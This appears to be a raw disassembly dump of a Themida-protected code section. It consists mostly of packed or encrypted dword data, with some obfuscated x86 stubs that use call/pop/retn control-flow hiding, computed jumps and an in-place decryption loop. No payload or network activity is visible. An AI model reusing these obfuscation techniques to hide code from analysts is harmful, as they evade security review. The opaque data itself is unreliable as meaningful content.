dd 64B791FBh, 0A7003622h, 4EB6AB81h, 0E8BF54Bh, 0CC2A241Fh
dd 3188934h, 2233106Ah, 7776D1D4h, 47B841ECh, 3EF00A1Fh
dd 0EB76E02Eh, 0CF978C62h, 186E71DBh, 4AA31680h, 0A739037Dh
dd 7679D7D1h, 8DD7B620h, 6CB9A882h, 0D47F17AAh, 2BAA04FEh
dd 8AEB6208h, 49B1A69Eh, 292313B1h, 0F64141CFh, 60F86D4Dh
dd 3781AC6Eh, 17BC9FB0h, 4E6h, 0CC6AD6C9h, 0E07EE8DCh
dd 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch
dd 1C1505A3h, 342E1EBCh, 0D83938D6h, 31D3F67h, 0E93B4E76h
dd 8F20h, 636ACE00h, 8C248A80h, 0E2E70E1h, 0B5969F3h, 32908A60h
dd 4CAAA494h, 4A4218A1h, 0FC8FE5E8h, 760312D4h, 0D2362DDBh
dd 92EDD03Ah, 0EC5D089Bh, 701531CFh, 92EDF03Eh, 0EC5D089Bh
dd 6A033ADFh, 0F3B3AC82h, 3E9497FDh, 628AFBA6h, 69760329h
dd 84D2B11Bh, 301A7E92h, 31D6B973h, 452h, 60FE6A5Dh, 74127C70h
dd 8C2A8C84h, 0A240A69Ch, 0B755BDB2h, 887DEF4Ah, 9B928220h
dd 0B0A99937h, 0C8C2B250h, 6CCDCC6Ah, 31ED3FBh, 75C7DA76h
dd 9FDD35Ch, 0B3469C9Fh, 6FE9078Bh, 74D75E6h, 0E5C6FE9h
dd 0E457C10Fh, 6FE907BCh, 0E907032Fh, 54DD666Fh, 0E907BBE3h
dd 0E174C26Fh, 6FE907B9h, 0BA1812C0h, 303BB822h, 1B9406B1h
dd 0C385219h, 778036Dh, 69F3E7B5h, 4ED782D0h, 3D9B5DDh
dd 0C76C476h, 0F5EAC029h, 399F958Dh, 3FFDF7CFh, 2B8D8547h
dd 373AD228h, 0D9355DCEh, 0F6447603h, 3AD4C65Eh, 0F1732F6Ah
dd 3A4690Eh, 180B0000h, 2A1E0EACh, 3A3222C0h, 544A3AD8h
dd 6B6050EEh, 99F86503h, 30CE362Bh, 47E54940h, 60FE5E57h
dd 7A187670h, 81A91A7Bh, 8876031Eh, 150F2375h, 754BB4B7h
dd 36B31D7Bh, 9001AC37h, 69FB13C3h, 43E684D2h, 136364D1h
dd 0B5606C37h, 0FBB71C44h, 6BD52375h, 4DBEF5F8h, 0BA22177Ch
dd 6F372C1Ch, 57C1B577h, 0CE66BCBFh, 0E27170CBh, 0D5CBA144h
dd 0FC9056Fh, 0F9635715h, 5D08A0F6h, 5E8921EBh, 0E28D47D8h
dd 0E9A44971h, 9802506Fh, 0A705FFB5h, 8A797409h, 0D72D3092h
dd 6622943Fh, 2BB70F35h, 62EB76E0h, 0F79C5FF0h, 0E94D5E86h
dd 8B1F6D6Fh, 0A314E67Ch, 6FE93A7Bh, 329C3482h, 0FB5102BFh
dd 0C2C51369h, 0FB2F4571h, 0EC655B75h, 0FB2F537Bh, 740C5A75h
dd 5DC7BB71h, 90C6C65h, 9D0CECA5h, 342E04C7h, 861E7C76h
dd 72992D83h, 58132923h, 5535D640h, 30042A81h, 4071DEh
dd 3FC80000h, 0FB84A6CEh, 0FD67B575h, 8C865CC1h, 28017132h
dd 0FD9542FCh, 0BD3AA4FAh, 178833CEh, 69FBAA16h, 3D65D637h
dd 4C75FB96h, 126366FEh, 75FB96E6h, 9165451Eh, 0DE300A3Ah
dd 0C081h, 865C2700h, 0E6BE2892h, 0D58B8EECh, 0BF7578E0h
dd 0FB6467C5h, 0C5C83025h, 332D056Fh, 0ADAC37D5h, 676FE902h
dd 81710F6Dh, 0CB262987h, 259641C0h, 69FB286Ch, 1CB14F9Dh
dd 572D9611h, 0A9E00F8h, 0EA2E0F7h, 0D9E769B6h, 47F28AFEh
dd 0FE440D6h, 0D681CF70h, 9CB4DC4Dh, 6DBB6FEFh, 9C2951C2h
dd 0E2306FEFh, 2217ED78h, 372C1CBAh, 0E117B6Fh, 15D818BCh
dd 962E7A79h, 0A840AA9Eh, 439C4EB6h, 41E6C979h, 1DEh, 0D472DED1h
dd 0E886F0E4h, 9E00F8h, 16B41A10h, 2BC93126h, 0FCF163BEh
dd 0F06F694h, 241D0DABh, 3C3626C4h, 0E04140DEh, 320476Fh
dd 0F1435676h, 14B21A0Fh, 2ECC2A24h, 0E0636ADAh, 11C3C435h
dd 0FC4A69FBh, 1E7CA8F9h, 999275FBh, 0BFE43639h, 2C8AEEA2h
dd 0C933271Fh, 0D2B269C6h, 0D4B48D63h, 24827C52h, 0E00879h
dd 0A1EF75FCh, 74035A37h, 0B04ADE30h, 0F0000000h, 2B8F865Ch
dd 91EFE9C1h, 574F258Eh, 329CF2F5h, 0FAFD655Ah, 0E902AAA9h
dd 12706A6Fh, 2C8A8474h, 44DFCE29h, 403A1099h, 4C0578E2h
dd 7D69FB29h, 0F1FC912Fh, 2DC6EE5Fh, 27D575FBh, 9E36CE2Eh
dd 0D44B82F3h, 452700Fh, 268E8359h, 5CB8097Bh, 35FE02EFh
dd 0D4AA4DCBh, 0BC261ADCh, 3ECF2124h, 0A8C26DE8h, 9B73DD75h
dd 0A64C3EA6h, 557943CAh, 0F0CD72h, 0CCBF0000h, 0DED2C260h
dd 0EEE6D674h, 8FEEE8Ch, 1F1404A2h, 4DAC19B7h, 0E482EADFh
dd 0FB99FDF4h, 14B2120Bh, 2ECC2A24h, 355DCE2Fh, 44760321h
dd 1A0FDF31h, 2A2414B2h, 0FDA2ECCh, 0FA625715h, 0AFA95F62h
dd 98F8F1h, 43DECD62h, 0DF12798h, 9A7069F3h, 0F6D53FA3h
dd 0EAED5148h, 90F9FC94h, 0DD55AC1Eh, 309A6EEDh, 62005E58h
dd 6B6036BFh, 17AA0003h, 7603BAEFh, 9405B0FEh, 7603BA6Ch
dd 0E3BB2573h, 0CE362BE9h, 41CA3336h, 3BAA8D0h, 0FF69B776h
dd 115EF58Ch, 0E1C17842h, 665A1812h, 0BA3F9FCh, 30928A60h
dd 72DC4238h, 0AC0A04F4h, 46B740A9h, 0C1EE251Eh, 25E81081h
dd 0A9F7C1EEh, 1AF25CAAh, 5BBBE24h, 0EFA5A810h, 318E91FBh
dd 922B9A7Ah, 2A24F3D3h, 443E2ECCh, 0F3EE3E6h, 9D000000h
dd 696CD0C7h, 5356BEB3h, 0BFFB65FDh, 1C0F5995h, 0FDF7ADB0h
dd 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h
dd 0B5AA6063h, 9E944A4Dh, 877F3538h, 786C2225h, 574D0B0Eh
dd 0BB53E789h, 4, 835BDF01h, 3C8704EFh, 0AA685C24h, 89000007h
dd 8956241Ch, 4C681E6h, 81000000h, 4EEh, 24348700h, 2434895Ch
dd 0BAFBE56h, 0F389061Ah, 8324348Bh, 0EC8304C4h, 24248904h
dd 4240483h, 3481535Eh, 0D0238224h, 8468F10h, 2382BD55h
dd 6E3110D0h, 348B5D08h, 0E0895024h, 405h, 4C08300h, 5C240487h
dd 5B2434FFh, 0E904C483h, 0FFF863BDh, 29243FCAh
db 76h
; ---------------------------------------------------------------------------
loc_5C865D: ; CODE XREF: Themida_:005C7548j
mov eax, 61A1BC5h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
sub edx, esp
retf
; ---------------------------------------------------------------------------
db 79h, 8Ch, 56h
; ---------------------------------------------------------------------------
mov edx, 0B6500D38h
xor cl, [ebp+1A1D388Dh]
push es
jnb loc_5C8684
sub edx, 584116E1h
loc_5C8684: ; CODE XREF: Themida_:005C8678j
xor di, 2EC4h
mov [ebp+61209A1h], ecx
movzx esi, cx
mov dword ptr [ebp+6120505h], 5D00h
jmp loc_5C86B5
; ---------------------------------------------------------------------------
db 5, 19h, 2Eh
dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh
db 71h
; ---------------------------------------------------------------------------
loc_5C86B5: ; CODE XREF: Themida_:005C869Cj
mov dword ptr [ebp+6121BD9h], 0
or [ebp+612093Dh], eax
push dword ptr [ebp+61213DDh]
push 0
push ebx
call sub_5C86D6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C86D6 proc near ; CODE XREF: Themida_:005C86CEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5C86D6 endp
; ---------------------------------------------------------------------------
xor al, [edx]
lodsb
dec esi
jmp loc_5C8703
; ---------------------------------------------------------------------------
db 0EFh
dd 0CF145C9Fh, 0F0A2D446h, 3AB9CBD3h, 0E549398Bh
db 0A9h, 0E6h, 98h
; ---------------------------------------------------------------------------
loc_5C8703: ; CODE XREF: Themida_:005C86EAj
call dword ptr [ebp+6121B31h]
push 0
push ebx
call sub_5C8714
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8714 proc near ; CODE XREF: Themida_:005C870Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5C8714 endp
; ---------------------------------------------------------------------------
dd 8501C5C5h, 3CEEA63Ch, 13E9h, 0D450BB00h, 0BF1862C4h
dd 96DC0FB0h, 78CF66F4h, 0B6243649h, 6AFCE380h, 0CD95FF00h
dd 8B061219h, 0F918EBC0h, 0B95DA55Dh, 2E624A14h, 0D4915A3Ah
dd 557335D7h, 3806D094h, 8D3A316Fh, 1A1E438Dh, 0C5B58906h
dd 8906122Ch, 1217599Dh, 0A18D8906h, 6A061209h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 662C350h, 585C73Ah, 0CC061205h, 5700006Dh, 22ADB529h
dd 0C75A0612h, 121BD985h, 6, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0F5BC494Eh
dd 0AE9h, 971D9200h, 29FF1F5Fh, 0F838574Fh, 1FC9B5FFh
dd 0BE80612h, 30000000h, 3276B79Ah, 0D8AC7415h, 0EE9BDA3h
dd 83000000h, 0D19C19F3h, 5270BDCFh, 0A4E713h, 95FF5AC6h
dd 6121B31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 19C35343h, 13E99C7Bh, 1A000000h, 32B532D6h, 4BFA1BD2h
dd 9AFB91h, 0FF921F1Ch, 6AE0E2h, 19CD95FFh, 0C08B0612h
dd 250A3AEBh, 88A77652h, 69BF8737h, 0A31105A7h, 0BDA7D144h
dd 399A2AD8h, 392DF69Ah, 0E486368Bh, 9FEE9B08h, 0A7CBA145h
dd 651C4647h, 1688801Dh, 87E0C55Ah, 0C878688Eh, 2EFB4599h
dd 10EBh, 3 dup(0)
dd 0C08B0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 6FC35343h, 7B67473Eh, 409BAAD2h, 5AF9523Fh, 1B91BD83h
dd 75000612h, 0DDBD8309h, 61217h, 53501974h, 2DB8C08Bh
dd 89000004h, 12008585h, 0F9D8D06h, 0FF0614AEh, 83585BD3h
dd 1217DDBDh, 17740006h, 2DB85350h, 89000004h, 12008585h
dd 0FE9D8D06h, 0FF0614AAh, 66585BD3h, 6AF7F9BAh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8982C351h, 122DC185h, 0D58D0906h, 8B061210h, 299589C0h
dd 8B06121Dh, 1226C98Dh, 11E85606h, 5C000000h, 9D59CBB3h
dd 0C5F186BDh, 5B692BB5h, 25497930h, 5EF2B70Fh, 0F9835Ah
dd 68840Fh, 0BF0F0000h, 3D8B64F6h, 2Ch, 14E9h, 0D1450F00h
dd 0D3C93C36h, 55AD9032h, 0B316436Eh, 0D0494A65h, 890F60E5h
dd 6, 810Fh, 10E90000h, 0AC000000h, 99964B61h, 8D8DBFCBh
dd 5C3139E3h, 610B2766h, 840FFF0Bh, 1Ah, 0F3B70F57h, 0F28B665Ah
dd 85293F8Bh, 61218A5h, 8D89C032h, 61215F5h, 4935AAF3h
dd 6A535041h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 33C1C352h, 122F89B5h, 7185C606h
dd 47061228h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 0C5C35646h, 1859D89h, 0BE660612h, 1E6824F1h, 50A73F1Ah
dd 28A0F52h, 53000000h, 52310F5Eh, 5A5ED18Bh, 24348158h
dd 7BE99232h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 0E8C35040h, 282323CCh, 2870F5Ch, 53000000h, 0E9B5FF5Ah
dd 89061230h, 12004D8Dh, 35858D06h, 0F06157Fh, 486h, 0C8BE6600h
dd 0B2D0FFE5h, 0E9858980h, 6A06121Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0DC11C352h
dd 0E641CDF0h, 8BBDBAA0h, 958B0A1Fh, 6121085h, 287185C6h
dd 6A530612h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 2936C351h, 0F534D500h, 0F9752ECh
dd 48Dh, 41BA6600h, 0BF6F6815h, 8B66DD72h, 243481D7h, 55EAD593h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9BC35242h
dd 35D87E9Eh, 9CF0A57Eh, 10ED9523h, 0B5FF0612h, 61230E9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F6C35545h
dd 0D487162Fh, 0FBCB253Dh, 4819503h, 858D0612h, 6157F35h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8BC35545h
dd 0A5EB1428h, 6C4C559Bh, 51958989h, 0FF061203h, 0D2BF0FD0h
dd 3BF9858Dh, 8D0F0615h, 6, 1085958Bh, 85890612h, 61214A5h
dd 9D958960h, 8B061218h, 1229758Dh, 206A6106h, 95FFFF6Ah
dd 61214A5h, 50414935h, 9985C753h, 1061200h, 0C7000000h
dd 12007185h, 6, 0DDB58900h, 8B061204h, 120E11B5h, 0A9858B06h
dd 64061216h, 0A3h, 39BE6600h, 99BD83D4h, 6120Dh, 6F840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 75DD9EC3h, 85BCF94Ah, 870FD289h, 3, 8BF0BF0Fh
dd 12180D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8A0FEAE8h, 7, 1890Fh, 8BF50000h
dd 60E08BD1h, 289B58Bh, 0B5890612h, 6121DA9h, 79BD8361h
dd 61216h, 3BC850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 8A0FD7C3h, 0
; ---------------------------------------------------------------------------
mov byte ptr [ebp+6122871h], 56h
and dl, 38h
push 4593D58Ch
pusha
mov eax, esi
popa
add dword ptr [esp], 64315B53h
push 0
push ebp
call sub_5C8CDD
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8CDD proc near ; CODE XREF: Themida_:005C8CD5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5C8CDD endp
; ---------------------------------------------------------------------------
db 0E9h, 0CAh, 73h
dd 57A2A5E0h, 0B5FFC5B5h, 61230E9h, 1790EE81h, 858D4474h
dd 6157F35h, 2F159523h, 0D0FF0612h, 3359FBBAh, 0D5958B36h
dd 50061209h, 5E956h, 0DC440000h, 5E21BCB5h, 0F240489h
dd 8D8DD1BFh, 6120A11h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 0A9C35242h, 6A2BA051h, 5B98D89h, 60910612h
dd 0BD20B866h, 59616050h, 46B65061h, 0D0BF0F91h, 6A046Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 276455C3h, 0D11BBF69h, 66F6FACCh, 62FDDA81h, 59173C68h
dd 0F38B661Eh, 3C243481h, 6A1E5907h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0ED9DC351h
dd 0A269F018h, 6E9B1B3h, 0A1000000h, 3319A06Fh, 95B5FF00h
dd 6A061208h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 4403C353h, 7060E131h, 360CCDFh
dd 12045185h, 599D0106h, 61061211h, 6810Fh, 0B5890000h
dd 6120DA5h, 8D0FD0FFh, 5, 0ADA8166h, 95BD8BB6h, 0E8061208h
dd 6, 3EAD5B24h, 0B58B3EF5h, 61219C9h, 3C7F035Eh, 8E9h
dd 0F45C7F00h, 0C406E464h, 0F8C781C4h, 66000000h, 47C7D18Bh
dd 2024h, 2DE5BA60h, 0BD83074Eh, 61A1E84h, 54840F00h, 8B000001h
dd 12013995h, 28C78306h, 1B860Fh, 11E80000h, 0F2000000h
dd 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h, 0EFF7BA66h
dd 2E07C75Ah, 6064696Ah, 0A8D78166h, 0CEB70FF5h, 447C761h
dd 617461h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 3C35343h, 6045D8AEh, 0BE9h, 0B6D40A00h, 324B2D08h
dd 65116F18h, 61C3B70Fh, 1E8C858Bh, 14E8061Ah, 63000000h
dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 7CE849B2h, 500ED482h
dd 8E8h, 79989A00h, 0B27637A1h, 5E5A5E43h, 0E80C4789h
dd 7, 0DB83711Eh, 0B6D316A3h, 858B5AEFh, 61A1E90h, 2C49BD09h
dd 0F28B0612h, 6A084789h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0BB41C355h, 89A4B94Dh
dd 122F7995h, 28C78306h, 87DA8166h, 2E07C793h, 0F96E6F63h
dd 6870Fh, 95890000h, 6122A3Dh, 660447C7h, 0F006769h, 681h
dd 51B58B00h, 8B061219h, 1A1E8885h, 0E2816606h, 47895B89h
dd 7DB58B0Ch, 8B061234h, 1A1E8485h, 10E906h, 31D40000h
dd 17C0E191h, 6EC387DBh, 1B141801h, 4789E1D4h, 75B52308h
dd 5806121Ah, 1D9958Bh, 8D8D0612h, 6122279h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 22C35141h, 51B58BC2h
dd 106121Fh, 121C7DB5h, 8B609106h, 61F18AD3h, 88D0F50h
dd 56000000h, 8C0Fh, 915A0000h, 0FFD3BF0Fh, 120A11B5h
dd 0C868F506h, 509BAC78h, 50310F52h, 0D78B6652h, 6DBE310Fh
dd 5A3EC168h, 81585A58h, 97382404h, 81666453h, 0FFDE6BC6h
dd 120895B5h, 60D0FF06h, 89F2BF0Fh, 1204DD85h, 0B86106h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0F8DC353h, 686h, 0D18D8900h, 0B06122Ah
dd 69840FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 5D98C350h, 68A0F0Eh
dd 89000000h, 1231618Dh, 6890F06h, 89000000h, 1222AD85h
dd 69B5FF06h, 0B6061214h, 3195FF67h, 6A06121Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 8222C356h, 8254680Ah, 0D95E153Ch, 6AC08Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 835ABCC3h
dd 5EE80BBAh, 0BF0F9336h, 91BD83F0h, 6121Bh, 0BD830975h
dd 61217DDh, 50197400h, 0B8C08B53h, 42Dh, 22958589h, 9D8D0612h
dd 614AE76h, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h
dd 42Dh, 22958589h, 9D8D0612h, 614AB17h, 585BD3FFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BCC35747h, 0BF6CBA4Ah
dd 11E8h, 8C570300h, 536DB199h, 28890B01h, 9EEFDF2h, 5EFC843Bh
dd 0BE66C08Bh, 0C08B5372h, 1BE9h, 8ABB3700h, 32h, 5 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5C96A7
; ---------------------------------------------------------------------------
retn 63CFh
; ---------------------------------------------------------------------------
dd 77E1D5C5h, 8FF1E9D9h, 0A50B01F1h, 0BA221707h, 0E250AF1Ch
dd 0F7E785EDh, 0EFE9C00h, 2717B515h, 3231CF2Dh, 2E3860D1h
dd 34477603h, 0A4150FE2h, 0E9070B33h, 2CC4126Fh, 0F1EAC029h
dd 5A4F2791h, 6A6454F2h, 5953090Ch, 4E42F8FBh, 6B6339E4h
dd 484BB5A9h, 1575AF2h, 0A057B497h, 74683EC0h, 47B1070Ah
dd 7917756Fh, 92309089h, 4649A9A2h, 0B1229990h, 6FE90789h
dd 0A7AA4290h, 0DAD1A750h, 251D7376h, 73C9CC2Ch, 0B9886809h
dd 0A20C00C0h, 13B1499Fh, 20CB2923h, 0EEF1514Ah, 44AAA098h
dd 9E81EB41h, 6665F35h, 0D043AD03h, 6FE907A3h, 39BB9B52h
dd 9B056F63h, 1D7A67BEh, 4AAED8h, 93050000h, 3308AA53h
dd 0C0FC66A9h, 0B4B7150Fh, 0E9073963h, 4D2DE46Fh, 1D7B2279h
dd 169D8h, 0F0F0000h, 45AEB11Bh, 0B9B3796Fh, 6A02585Bh
dd 0F84A41D6h, 4BB582BCh, 12157F73h, 0FD00665Ch, 3A09E9A0h
dd 4E3EDC46h, 458F654h, 0AFB21A0Fh, 178805F9h, 6FE907EFh
dd 9405B0FEh, 6FE9076Ch, 8A8D2573h, 53D5B56Eh, 8B51B8E1h
dd 0D92F3292h, 7242C545h, 0D33B3008h, 0ED4B4535h, 87F881EAh
dd 6FE99F5Fh, 0DEB6206Eh, 0ED8184E6h, 29B23414h, 66F95B53h
dd 6FE99F3Eh, 0B895FF4Dh, 0D81E1971h, 8398h, 1A0F3E00h
dd 1F9AFB2h, 883F9C9Fh, 7CE4D9A8h, 0F8C93BDEh, 727AAFD9h
dd 0B7368031h, 0D76F5FC4h, 1D87E5DFh, 3DE85045h, 6097367h
dd 0FA6346B0h, 62CC2A24h, 2B2E948Ah, 1A1D7B75h, 3067064h
dd 8D0FEFA6h, 0E991F41Ch, 15ADFB6Fh, 0B286663Fh, 0D81E0B6Bh
dd 4B92h, 0D977E900h, 3D268EC5h, 0FADE953h, 0F9AFB21Ah
dd 0E79DA000h, 0D08689F3h, 1A7073DBh, 0C6C92922h, 3CAB8B04h
dd 2EFDDD96h, 0DF33D139h, 0AEB11B0Fh, 0E907305Dh, 4A2AE16Fh
dd 90EB56C8h, 53E62EA2h, 0AAB50CE9h, 1FCD81Dh, 0A2000000h
dd 0B2B5170Fh, 0F9A402FCh, 7D7FF70h, 98E66FE9h, 35F44B2Eh
dd 2C8E8655h, 6FF2F98Eh, 2BFA53C4h, 0D52369FBh, 0C4221CD2h
dd 0DE3C3626h, 4126C133h, 0A6A5CD3Eh, 66B475FBh, 5B9516D2h
dd 93BD0EF1h, 0FB75FB56h, 365ECF58h, 4575FB56h, 0CEC8DF7h
dd 47E5433Dh, 0FCFF5D57h, 0EBEE4C46h, 673616CFh, 52BAAF6Dh
dd 0C361F94Fh, 2FC977CEh, 136BEDEh, 6A640000h, 0C435E063h
dd 69FB347Bh, 0F3C974C2h, 42989BF9h, 453FF5D8h, 5F5949E7h
dd 4E48FE01h, 4137EDF0h, 2822D8DBh, 770F736Ah, 0EA802274h
dd 3CEB07B9h, 0D64525DEh, 10DFBF78h, 9D615816h, 0A6A941A7h
dd 3EA4CC3Dh, 5DAB75FBh, 0F9822DC5h, 0FB3E6088h, 8D216F75h
dd 7F1F8E68h, 40BE28F4h, 2FA3F44Bh, 4D3BDEh, 5CE10000h
dd 2B2E8C86h, 0F3EE6BD5h, 3C44B560h, 31016F9h, 3961B2B5h
dd 47EFE906h, 31E7EA52h, 1781753Bh, 0D0C67C7Fh, 73530C6Ah
dd 149D0004h, 0E9067BA3h, 2F9189EFh, 0D778E230h, 0F58483F7h
dd 0F8D1D94Ah, 0A589016h, 828D6Ch, 6A3B0000h, 0C435E063h
dd 69FB1BAFh, 772D307Eh, 2741F7Dh, 6A299270h, 0ABAD21D9h
dd 0C7C792DEh, 5747C52Fh, 0ABFCFF5Dh, 75FB188Ch, 0BF4121DAh
dd 199DC536h, 8F0075FBh, 75FB1967h, 0DB292876h, 419F9971h
dd 62CCC096h, 191E46B7h, 0DF2D75FBh, 6B62F775h, 1BA42DD8h
dd 0FB1982AAh, 0D13B8975h, 533A35Eh, 6164B270h, 0CF40B1ABh
dd 6FF13CA7h, 0CDD068B6h, 63D7B776h, 0BD2ED968h, 69FB5702h
dd 0D327C513h, 35E0636Ah, 0F32209C4h, 0C3C61469h, 17B5130Dh
dd 0CCCF2D27h, 93B87E7Bh, 299E9661h, 73B790B8h, 0B9519FA2h
dd 1ACF64B6h, 60CB357Eh, 89127068h, 0B6EC0EBh, 0BA7C7F17h
dd 53F26141h, 0F3EDBC9Ch, 0D07F795h, 7D9204AFh, 0BDF12C1Eh
dd 0A1573AA4h, 8C4245ABh, 7A303393h, 0C41B1E84h, 1DB62505h
dd 0B5AF7E5Eh, 79FFDF7h, 0AD4DEA5Ch, 3B3EA098h, 0D9CE51E5h
dd 0A1910F79h, 8BF5E9A7h, 34BF0F3h, 0F9000000h, 1C0F5995h
dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h
dd 9E944A4Dh, 877F3538h, 786C2225h, 564D0B0Eh, 0C681E689h
dd 4, 4EE81h, 34870000h, 2C895C24h, 1E3A6824h, 3C890000h
dd 16406824h, 0C890000h, 0ADB95124h, 0C12BDA16h, 0E9C102E1h
dd 81D1F705h, 956A89C1h, 595F510Bh, 240C8B54h, 5704C483h
dd 0B8FBB53h, 5C3137FBh, 8F5B0424h, 71810841h, 0FB0B8F08h
dd 2434FF37h, 4C48159h, 8B000000h, 8951243Ch, 4C181E1h
dd 83000000h, 0C8704C1h, 72E95C24h, 0B3FFF853h
db 8Bh, 0F0h, 82h
; ---------------------------------------------------------------------------
loc_5C96A7: ; CODE XREF: Themida_:005C91C4j
mov eax, 61A2C11h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 638085h, 238169C1h, 758AE33Fh, 7AD43D5h, 4E6A51C9h
dd 27F0EFAh, 3D0F26C1h, 34F0FA26h, 4CC806Bh, 27F873E9h
dd 779C0155h, 667A9A82h, 7F098CF3h, 4095BC8Eh, 7D2F5F7Ch
dd 2E51E5C8h, 5E5EFC6Dh, 58F30464h, 3AA95ABFh, 2D918D8Dh
dd 6A061Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 5F9B77C3h, 28B0F73h, 0B6000000h, 0D8BF0FF6h
dd 9A18D89h, 81660612h, 0C716B2F6h, 12050585h, 596C06h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0BF607675h, 3AD958Bh, 9D030612h, 612090Dh
dd 1BD985C7h, 612h, 860F0000h, 5, 0EC88166h, 69B5FF41h
dd 0F06122Dh, 685h, 71BD8900h, 8906121Bh, 12266DB5h, 3195FF06h
dd 0FC06121Bh, 95FF006Ah, 61219CDh, 1EEBC08Bh, 4292A877h
dd 9134D1B3h, 0CDFE2F2Eh, 0C022EDEFh, 0AB25DD0Eh, 5436B94Fh
dd 0D22A40C0h, 9E88923h, 47000000h, 2F19E4DDh, 14083773h
dd 68E0Fh, 9D010000h, 6121E89h, 6820F5Ah, 81000000h, 0CD195EE1h
dd 0DAC28135h, 6000006Bh, 8E960h, 0CE990000h, 0A1A659E2h
dd 0BF0F00E6h, 0BE6161D9h, 0
; ---------------------------------------------------------------------------
jmp loc_5C9827
; ---------------------------------------------------------------------------
db 0A9h, 2Eh, 37h
dd 7DB6035Dh, 9A4179F8h, 0CBAA622Eh
db 36h, 0C6h, 8Ch
; ---------------------------------------------------------------------------
loc_5C9827: ; CODE XREF: Themida_:005C9810j
; Themida_:005C98C5j
mov ebx, [edx+esi]
jmp loc_5C9839
; ---------------------------------------------------------------------------
db 94h
dd 0A561BE40h, 7C560D69h
db 0F0h
; ---------------------------------------------------------------------------
loc_5C9839: ; CODE XREF: Themida_:005C982Aj
sub ebx, 4EA3AADFh
cld
sub ebx, 0ED53640h
mov edi, [ebp+61218BDh]
add ebx, 687BAA53h
movzx edi, ax
push ebx
mov ax, di
pop dword ptr [edx+esi]
movsx edi, cx
movsx ecx, bx
sub esi, 314BFB25h
push ebx
mov [ebp+6122BEDh], eax
pop eax
add esi, 314BFB21h
mov [ebp+61210C1h], edi
cmp esi, 0FFFF9528h
jnz loc_5C98BF
jnb loc_5C98A7
jmp loc_5C98A7
; ---------------------------------------------------------------------------
db 0D5h
dd 7A12949h, 0A1FF670Bh, 994D9BFDh, 0CF7BE250h
db 0C7h, 2Ch, 52h
; ---------------------------------------------------------------------------
loc_5C98A7: ; CODE XREF: Themida_:005C9888j
; Themida_:005C988Ej
jmp loc_5C98D5
; ---------------------------------------------------------------------------
dd 0B718EAC0h, 38C76BE4h, 0E534C536h, 333E4396h
db 3Fh, 57h, 0A8h
; ---------------------------------------------------------------------------
loc_5C98BF: ; CODE XREF: Themida_:005C9882j
xor [ebp+6122BE9h], ecx
jmp loc_5C9827
; ---------------------------------------------------------------------------
dw 138Ah
